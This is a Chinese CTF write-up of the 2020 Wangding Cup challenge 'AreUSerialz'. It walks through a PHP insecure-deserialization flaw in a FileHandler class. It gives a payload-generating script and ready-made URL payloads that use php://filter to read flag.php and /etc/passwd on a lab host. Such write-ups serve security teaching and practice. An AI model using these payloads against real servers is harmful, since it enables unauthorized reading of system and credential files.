[網鼎杯 2020 青龍組]AreUSerialz


[網鼎杯 2020 青龍組]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

  PHP反序列化漏洞,比賽的時候做出來了,在buuoj上再復現記錄一下。

查看代碼可以看出來,GET方式傳入序列化的str字符串,str字符串中每一個字符的ASCII范圍在32到125之間,然后對其反序列化。

在反序列化的過程中,調用__destruct析構方法

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

  如果op==="2",將其賦為"1",同時content賦為空,進入process函數,需要注意到的地方是,這里op與"2"比較的時候是強類型比較

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

  進入process函數后,如果op=="1",則進入write函數,若op=="2",則進入read函數,否則輸出報錯,可以看出來這里op與字符串的比較變成了弱類型比較==。

所以我們只要令op=2,這里的2是整數int。當op=2時,op==="2"為false,op=="2"為true,接着進入read函數

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

  filename是我們可以控制的,接着使用file_get_contents函數讀取文件,我們此處借助php://filter偽協議讀取文件,獲取到文件后使用output函數輸出

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

  整個利用思路就很明顯了,還有一個需要注意的地方是,$op,$filename,$content三個變量權限都是protected,而protected權限的變量在序列化的時會有%00*%00字符,%00字符的ASCII碼為0,就無法通過上面的is_valid函數校驗。

<?php

class FileHandler {

    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        // $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        // $this->process();
    }

}
$A=new FileHandler();
$B=serialize($A);
echo $B;

  運行之后,這三個箭頭指向的地方字符顯示不正確的地方就是%00字符

 

 

 在這里有幾種繞過的方式,簡單的一種是:php7.1+版本對屬性類型不敏感,本地序列化的時候將屬性改為public進行繞過即可

即:

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

  現在得到的結果就沒有%00字符了

 

 buuoj平台復現的話使用上面這個payload就已經可以讀取flag了:

http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

  

 

 比賽的時候還有相對路徑和絕對路徑的問題,需要拿到絕對路徑才能讀取flag

可以先嘗試讀取/etc/passwd檢驗自己的payload是否正確,然后再讀取服務器上的配置文件,猜出flag.php所在的絕對路徑,再將其讀取。

http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:7:%22content%22;N;}

  下面這個payload是比賽的時候用的,buuoj上環境路徑不一樣。

http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;}

  

以上。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM